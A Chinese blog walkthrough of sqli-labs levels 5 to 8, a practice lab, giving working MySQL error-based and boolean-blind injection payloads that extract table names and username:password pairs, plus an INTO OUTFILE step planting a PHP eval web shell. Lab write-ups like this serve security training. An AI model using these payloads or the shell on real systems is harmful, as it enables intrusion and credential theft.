Sqli-labs第5~8关详解

第五关

当输入?id=1时显示下面的页面

在这里插入图片描述
当输入?id=1'时显示异常在这里插入图片描述

页面没有显示位。无法使用联合查询注入。
显示位的解释:在一个网站正常的界面,服务端执行Sql语句查询数据库中的数据,客户端会将数据显示在页面中,这个显示数据的位置就叫做显示位。
如:在这里插入图片描述

报错注入

什么是报错注入呢?

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。0x7e=’~’

首先介绍三种报错注入常用的语句: (1). 通过floor报错 and (select 1 from (select
count(*),concat(( payload),floor (rand(0)*2))x from
information_schema.tables group by x)a) 其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错 and updatexml(1, payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。
这些是我参考大佬的博客所得到的

floor报错语句注入:

?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

?id=1' union select count(*),1, concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a%23

?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+

?id=-1' and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

爆数据库

?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述

爆数据表

?id=-1'union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出。

?id=-1'union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

这里我们改变limit 的条件就可以了,爆出了users在这里插入图片描述

爆列名(字段)

?id=-1'union select count(*),1, concat('~',(select concat(column_name) from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
爆数据值

?id=-1'union select count(*),1, concat('~',(select concat(username,0x3a,password) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+

在这里插入图片描述
我们要不断改变limit的条件来找到我们想要的值!

extractvalue函数进行报错注入

可以理解为,让后台xml故意报错。
利用这种方式我们对后台进行一个排序,指定第一个参数为null,让它故意报错,将第二个参数的语句带入数据库执行,最后报错显示执行的结果。
id=1 and

爆数据库
?id=1'  and extractvalue(1,concat(0x7e,database(),0x7e))--+
爆表名
?id=1' and extractvalue(1,concat(0x23,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x23))--+
爆列名(字段)
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+
爆值
?id=1' and extractvalue(1,concat(0x23,(select username from users limit 1,1),0x23))--+
这里也需要不断改变limit的条件,找到我们想要的表名,字段名!

第六关

闭合符号为双引号,其他均与第五关相同。

第七关

导出文件GET字符型注入

导出文件
1、LOAD_FILE 可以利用该函数,进写入shell 用法:
select load_file(‘file1’) into outfile ‘file2’
将file1的文件导入WEB目录file2的文件中进行访问。
2、 另外要保证正常的文件写入与读取要在mysql目录找到my.in这个文件,
最后一行新增secure_file_priv= " "方法,才能使用LOAD_FILE在生产环境情况下。
3、导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面。
常用的语句是: select “<?php @eval($_POST['giantbranch']);?>” into outfile “XXX\test.php”

手打路径真的很麻烦,随便找个简单关测试出路径

?id=-1 union select 1,@@basedir,@@datadir --+

在这里插入图片描述
payload

http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST["ZC"]);?>' into outfile "C://phpStudy//PHPTutorial//WWW//sqli-labs-master//Less-7//ZC.php"--+

在这里插入图片描述
虽然回显报错了,但是在D:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7\下应该有我们所创建的ZC.php
如果没有找到,那么我们就需要改动C:\phpStudy\PHPTutorial\MySQL下的my.ini
添加secure-file-prive="",保存,重启mysql

在这里插入图片描述在这里插入图片描述
打开在这里插入图片描述

在这里插入图片描述
使用蚁剑可以连接,成功
在这里插入图片描述

第八关

关于burpsuite抓不到本地包的问题

这里我们以firefox为例:
首先我们配置burp的代理:
Proxy>>options add 本机ip:127.0.0.1和端口号:8080

在这里插入图片描述
我们打开firefox浏览器,配置代理设置:

一定要选择手动配置代理,按下图操作。
在这里插入图片描述
在这里插入图片描述
然后我们在FoxyProxy 新建代理服务器,添加本机地址和端口号

工作模式选择:为全部URLs启动代理服务器“127.0.0.1:8080”

在这里插入图片描述
这样问题就解决了

布尔盲注

1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。
2.注入原理
注入的时候只会返回True和False,所以布尔盲注就是根据页面显示的是True还是False进行猜测数据库中的信息。
3.布尔盲注过程:sqli-labs-master/Less-8

进入正题:
首先判断闭合符号(是否存在注入点)

http://127.0.0.1/sqli-labs-master/Less-8/?id=1

在这里插入图片描述
发现没有回显位。
当输入?id=1'报错了,但加上注释符号(%23)又显示正常;在这里插入图片描述

爆破数据库

爆数据库长度

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

手工爆破的话就需要不断增加长度,最后得出数据库的长度是8在这里插入图片描述
在这里插入图片描述

ascii码爆破数据库名
Less-8/?id=1' and  ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以用burp爆破,也可以写脚本。
burp爆破
先构造好注入语句

?id=1' and ascii(substr((database()),1,1)) = 115 --+

下图是设置好的;
在这里插入图片描述
直接开始攻击

在这里插入图片描述
把这些ascii码拿去转换一下得到数据库的名字:security

left函数 爆破数据库名:

这里我们要用到left函数

?id=1' and left(database(),1)='s' --+

这个语句的意思就是测试数据库名的第一个字符是否为‘s’。
下面我们来试一下:

在这里插入图片描述
回显正确,证明数据库名称的第一个字母为‘s’
那我我们是不是也可以用burpsuite对其进行一个爆破呢?
没错
构建注入语句

?id=1' and left(database(),1)='a' --+

我们需要在桌面写一个字典:a~z
在这里插入图片描述

进行爆破
在这里插入图片描述
抓到包之后send to intruder

在这里插入图片描述
将’a’设为参数,payload type选择Runtime file,选择我们写好的字典。在这里插入图片描述

爆破开始在这里插入图片描述
我们手工的时候就发现第一个字母是s了,这里只是为了演示一下,
继续:

这里需要把之前的数字1改为2,另外参数a前也要加上s
在这里插入图片描述
进行攻击,我们就会发现第二个字符是e,依次类推,便得出数据库的名了:security.
注意:
必须递进,依次去获取每一位,也就是说当我们爆破第三位的时候,‘2’就需要改为’3’,而参数a前就需要加上se,类推。

ascii爆破数据表名

在这里插入图片描述

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101)--+ 

在这里插入图片描述
爆破发现第一个表的第一位的ascii码是101,也就是字母e,
那么和爆数据库名的时候一样,需要改变limit的值,以此类推,可以找到所有的表。

爆列名(字段)

?id=1' and ascii(substr((select column_name from information_schema.columns where  table_schema='security' and table_name='users'  limit 0,1),1,1))>97--+

爆数据值

?id=1' and (ascii(substr(( select username from users limit 0,1),1,1)))>65--+
?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>65--+  
  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
很抱歉,我无法回答你的问题。因为你提供的引用内容似乎包含了一些与SQL注入攻击相的信息,这是一个违反用户隐私和信息安全的行为。我不能为你提供任何与此相的信息或支持。请记住在使用任何技术或工具时要遵守法律和道德规范,以确保您的行为合法和合理。如果您有其他非攻击性的问题,我将很乐意为您提供帮助。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [sqli-labs第十五](https://blog.csdn.net/yuqnqi/article/details/130575295)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [jeakinscheung-sqli-labs-php7-master.zip](https://download.csdn.net/download/weixin_42545836/12250964)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [sqli-labs(15)](https://blog.csdn.net/jimggg/article/details/104981616)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值